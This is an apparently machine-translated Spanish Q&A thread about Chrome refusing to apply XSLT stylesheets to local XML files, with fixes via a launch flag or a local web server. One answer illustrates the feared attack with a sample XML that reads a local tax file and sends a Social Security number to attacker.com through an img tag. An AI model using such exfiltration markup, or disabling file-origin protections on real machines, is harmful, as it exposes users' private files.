¿Se puede hacer que Chrome realice una transformación XSL en un archivo local?

91

Estaba investigando xslt y comencé a probar con los ejemplos en w3schools.

Sin embargo, cuando guardo el xml y xsl en archivos e intento abrirlos localmente, Chrome no realizará la transformación xsl. Solo muestra una página en blanco.

Agregué la <?xml-stylesheet type="text/xsl" href="style.xsl">etiqueta al documento xml y Firefox la muestra como se supone que debe verse. Además, si miro los archivos a través de un servidor web, Chrome muestra el archivo como se supone que debe verse.

¿Chrome tiene problemas para encontrar la información de la hoja de estilo cuando el enlace es local? Cambiar el href a file:///C:/xsl/style.xslno supuso ninguna diferencia.

Actualización: esto parece ser un efecto secundario de una política de seguridad para no tratar file: /// * como el mismo origen. Esto hace que aparezca el siguiente error en la consola:

Intento inseguro de cargar el archivo URL: /// C: /xsl-rpg/style.xsl desde el marco con el archivo URL: /// C: /xsl-rpg/data.xml. Deben coincidir los dominios, protocolos y puertos.

Zaz
fuente
1
Parece que desde el file:protocolo Chrome arroja el mismo error de dominio.
1
En IE11 funciona. Chrome se está volviendo malvado.
Marco Demaio

Respuestas:

74

La respuesta corta es "No, utilice uno de los diversos navegadores que existen" .

La razón por la que esto no funciona es debido a un problema de seguridad que Chrome ha abordado de una manera controvertida [1] [2] [3] [4] , al impedir que los archivos XML accedan a archivos XSLT locales en el mismo directorio, mientras que HTML Los archivos pueden acceder a archivos .CSS en el mismo directorio sin problemas.

A través de los problemas citados anteriormente, los usuarios han pedido un mensaje de error más claro (ya que los dominios, protocolos y puertos coinciden), o al menos mostrar el XML sin el estilo. Los desarrolladores de Chrome han ignorado estas solicitudes.

Zaz
fuente
18
Si bien su preocupación por la seguridad tiene sentido, los archivos XML deberían poder cargar hojas de estilo XSL desde el mismo directorio, al igual que los archivos HTML pueden cargar imágenes y scripts desde el mismo directorio. Hay un problema que puede destacar, pero el equipo de desarrollo de Chrome ha prohibido nuevos comentarios al respecto, a pesar de que se quejaron de que no pueden cuantificar cuánto querían los usuarios que se relajara el origen del archivo local.
Dan Dascalescu
1
Dato interesante: Safari en Mac (8.0) funciona bien con XSLT local, pero Safari en el simulador de iOS (8) (y supongo que también en iOS) obtuve el mismo error que en Chrome "Los dominios, protocolos y puertos deben coincidir. ". Pero si voy a implementar UIWebView en la aplicación y cargar XML con XSLT, todo funciona bien.
Paul Brewczynski
poco sentido en el uso de otro navegador cuando la tarea es fijar particular, la representación de XSLT en cromo navegadores ...
n611x007
Un enfoque que funciona con Chromium es insertar el archivo XSL en el archivo XML como data: text / xsl URI.
EricLaw
57

Puede hacer esto localmente usando las banderas de línea de comando de Chrome.

La bandera específica es --allow-file-access-from-files

En OS X: desde Terminal.app ejecutar /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

En Windows: desde el símbolo del sistema, ejecute %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Nota: Probablemente tendrá que salir de Chrome si se está ejecutando actualmente.

Jake Burton
fuente
Esto no parece funcionar para mí en Windows 7. Encontré chrome.exe ubicado aquí:, C:\Program Files (x86)\Google\Chrome\Applicationy el comando --allow-file-access-from-files se ejecuta bien, pero mi documento XML local (transformado por un archivo XSLT local) no se muestra.
Rick apoya a Monica el
2
Tal vez tenga que eliminar manualmente todos los procesos de Windows en ejecución para chrome.exe en el administrador de tareas de Windows. Para mí, esto funcionó.
Christian Schulzendorff
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filestrabajó para mi. Obviamente, estoy ejecutando Chrome Canary. Después de ejecutar este comando, debería abrirse una nueva ventana de Chrome y permitirle realizar su transformación XSL.
SeanLF
2
Más rápido en Windows 7: tecla de ventana + R; "chrome --allow-file-access-from-files"; Entrar.
Aaron Campbell
O en PowerShell (mata los cromos anteriores por ti):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell
15

Si desea ceñirse al OP, la respuesta es No (como han señalado otros), pero una forma de solucionar el problema es ejecutar un servidor web simple y abrir archivos a través de http en Chrome. Si tiene Python 2.x instalado, puede ejecutar un servidor web escribiendo:

python -m SimpleHTTPServer

O en Python 3.x:

python3 -m http.server

y luego abra el archivo usando http://localhost:8000/yourfile.xmlen Chrome. Con suerte, solo desea hacer su trabajo y no es algo crucial tener que abrir el archivo usandofile://

Morfeo
fuente
3

Tomó un poco de descifrar la página de errores de Chrome: están muy interesados ​​en no explicar cuál es el problema y por qué eligieron romper a todos en lugar de no romper a todos.

Supongamos que tengo un archivo XML, en algún lugar , en mi disco duro, por ejemplo:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

Y una entidad maliciosa, de alguna manera , logró colocar un archivo XML malicioso en mi computadora, por ejemplo:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imagine que TrojanVirusWorm.xml contiene una instrucción de procesamiento ( PI ) de hoja de estilo :

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

El atacante luego indica a mi navegador que navegue hasta el trojanVirusWorm.xmlarchivo guardado localmente .

Aparentemente, hay una forma en que un archivo XML puede leer el contenido del archivo XSD (en lugar de ser transformado por el archivo XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

No entiendo cómo un archivo XML puede leer un archivo de hoja de estilo. Pero el equipo de Chrome nos asegura que es un peligro y que no se puede solucionar.

Todos los demás navegadores lo resolvieron. Lo resolvieron porque no es un problema .

Ian Boyd
fuente
3

Mi solución para ver un xml de acuerdo con un archivo xsl

Supongamos que tenemos un some_file.xml con encabezados:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Descargamos el archivo https://some-site.com/Common.xsl y lo colocamos junto alsome_file.xml
  2. Cambiar parte de nuestro encabezado de href="https://some-site.com/Common.xsl" a href="http://localhost:8001/Common.xsl"
  3. Ejecutar en el directorio con nuestros archivos - python3 -m http.server 8001
  4. Abrir en cualquier navegador http://localhost:8001/some_file.xml
Greg Eremeev
fuente
0

Puede permitir que Chrome procese el archivo XSL cambiando la configuración de su navegador. Un enfoque más seguro sería acceder a él a través de un servidor web local, como Visual Studio Code Live Server o Apache. Consulte XSLT no se procesará en archivos locales para conocer los pasos.

Ryan C. Perry
fuente